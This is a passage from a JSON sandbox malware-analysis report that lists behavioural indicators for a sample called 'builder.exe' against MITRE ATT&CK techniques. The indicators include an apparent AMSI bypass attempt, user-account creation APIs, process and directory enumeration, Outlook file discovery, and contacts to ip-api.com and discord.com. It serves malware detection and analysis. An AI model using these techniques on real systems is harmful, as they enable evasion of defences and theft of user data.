\"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"builder.exe\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00002500.00000000.176826.C0162000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$34","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00001004)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00007588)","origin":"API Call","mitre_attack_id":"T1685","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"builder.exe\" called \"CreateDirectoryW\" with parameter %TEMP%\\_MEI50282 (UID: 00000000-00005028)\n \"builder.exe\" called \"CreateDirectoryW\" with parameter %TEMP%\\ (UID: 00000000-00007276)\n \"builder.exe\" called \"CreateDirectoryW\" (UID: 00000000-00007276)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$35","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"builder.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00007276)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$36","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"gstatic.com\"\n \"ip-api.com\"\n \"discord.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"142.251.218.227:443\"\n \"208.95.112.1:80\"\n \"162.159.138.232:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\" (Source: 00000000-00003884.00000000.176630.B15B0000.00000004.mdmp, 00000000-00003884.00000000.176630.B17C0000.00000004.mdmp, Indicator: \"select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime from win32_process\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains ability to add users to a group (API string)","description":"Found reference to API \"NetGroupAdd\" (Indicator: \"NetGroupAdd\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"NetGroupAddUser\" (Indicator: \"NetGroupAdd\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"NetGroupAddUser\" (Indicator: \"NetGroupAddUser\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-215","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains ability to create a new user account (API string)","description":"Found reference to API \"NetUserAdd\" (Indicator: \"NetUserAdd\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1136.001","relevance":1,"id":"string-214","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"builder.exe\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00002000.00000001.177576.1388A000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00002000.00000001.177576.1388A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.dll at 34853-684-0000000140006460\n Sleep@KERNEL32.DLL at 00000000-00006940-45045-182-008211A0\n Sleep@KERNEL32.DLL at 00000000-00006940-45045-223-0082692C\n Sleep@KERNEL32.DLL at 00000000-00006940-45045-227-00826971\n Sleep@KERNEL32.DLL at 00000000-00006940-45045-287-008269BD","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"builder.exe\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00002000.00000001.177576.1388A000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00002500.00000000.176826.C0162000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"$37","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryW@KERNEL32.DLL at 00000000-00006940-45045-208-00828A52","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$38","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"$39","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00002000.00000001.177576.1388A000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00002000.00000001.177576.1388A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"Found reference to API \"User authentication using Basic authentication scheme failed. %n%n Additional Data %n Unexpected error received from LogonUser %1: %%%1.\" (Indicator: \"LogonUser\"; Source: \"00000000-00003884.00000000.176630.B2F70000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"builder.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"builder.exe\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"Tcl_CreateThread\" (Indicator: \"CreateThread\"; File: \"builder.exe\")\n Found reference to API \"Failed to get address for Tcl_CreateThread\" (Indicator: \"CreateThread\"; File: \"builder.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartServiceW\" (Indicator: \"StartService\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$3b","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains references to file movement (imports API)","description":"Found MoveFileW in import section (Source: rar.exe)","origin":"Static Parser","mitre_attack_id":"T1083","relevance":1,"id":"static-205","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$3d","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Detected directory listing command","description":"Process \"tree.com\" with commandline \"tree /A /F\" (UID: 00000000-00001880)\n Process \"tree.com\" with commandline \"tree /A /F\" (UID: 00000000-00007900)\n Process \"tree.com\" with commandline \"tree /A /F\" (UID: 00000000-00007332)\n Process \"tree.com\" with commandline \"tree /A /F\" (UID: 00000000-00003024)\n Process \"tree.com\" with commandline \"tree /A /F\" (UID: 00000000-00007604)\n Process \"tree.com\" with commandline \"tree /A /F\" (UID: 00000000-00003808)","origin":"Monitored Target","mitre_attack_id":"T1083","id":"target-163","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"$3e","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"$3f","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$40","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"$41","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134364411914518038.1004.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134364411918943280.2000.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134364411931667694.7588.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$42","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Found string that contains outlook file extensions .ost/.pst","description":"\"Documents Database1.accdb OneNote Notebooks Unfiled Notes.one My Notebook Open Notebook.onetoc2 Quick Notes.one OneNote 2010 Guide OneNote Guide.one Open Notebook.onetoc2 Outlook Files Outlook.pst Outlook1.pst\" (Indicator: \".pst\") in Source: Documents.txt","origin":"File/Memory","mitre_attack_id":"T1114.001","relevance":1,"id":"string-179","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"\"GET /generate_204 HTTP/1.1\nHost: gstatic.com\nAccept-Encoding: identity\nUser-Agent: python-urllib3/2.0.3\" Response ==> HTTP/1.1 204 No Content\nContent-Length: 0\nCross-Origin-Resource-Policy: cross-origin\nDate: Wed\n 14 Oct 2026 08:46:31 GMT\nAlt-Svc: h3=\":443\"; ma=2592000\nh3-29=\":443\"; ma=2592000 with no response body\n \"GET /json/?fields=225545 HTTP/1.1\nHost: ip-api.com\nAccept-Encoding: identity\nUser-Agent: python-urllib3/2.0.3\" Response ==> HTTP/1.1 200 OK\nDate: Wed\n 14 Oct 2026 08:47:59 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 217\nAccess-Control-Allow-Origin: *\nX-Ttl: 60\nX-Rl: 44 with response body ==>7B22737461747573223A2273756363657373222C22636F756E747279223A22556E6974656420537461746573222C22726567696F6E4E616D65223A2243616C69.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"netsh.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at E3710000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$43","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at B0DE0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"WMIC.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at D3960000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at D3960000","origin":"Loaded Module","mitre_attack_id":"T1685","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"builder.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E2CA0000\n \"builder.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at E20F0000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E2CA0000\n \"net.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at E20F0000\n \"net1.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E2CA0000\n \"net1.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at E20F0000\n \"tasklist.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E2CA0000\n \"tasklist.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at E20F0000\n \"WMIC.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E2CA0000\n \"WMIC.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at E20F0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at B2D80000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"builder.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E4A30000\n \"builder.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at EB810000\n \"builder.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at A6400000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E4A30000\n \"net.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E4A30000\n \"net1.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E4A30000\n \"tasklist.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E4A30000\n \"WMIC.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E4A30000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E4A30000\n \"netsh.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E4A30000","origin":"Loaded 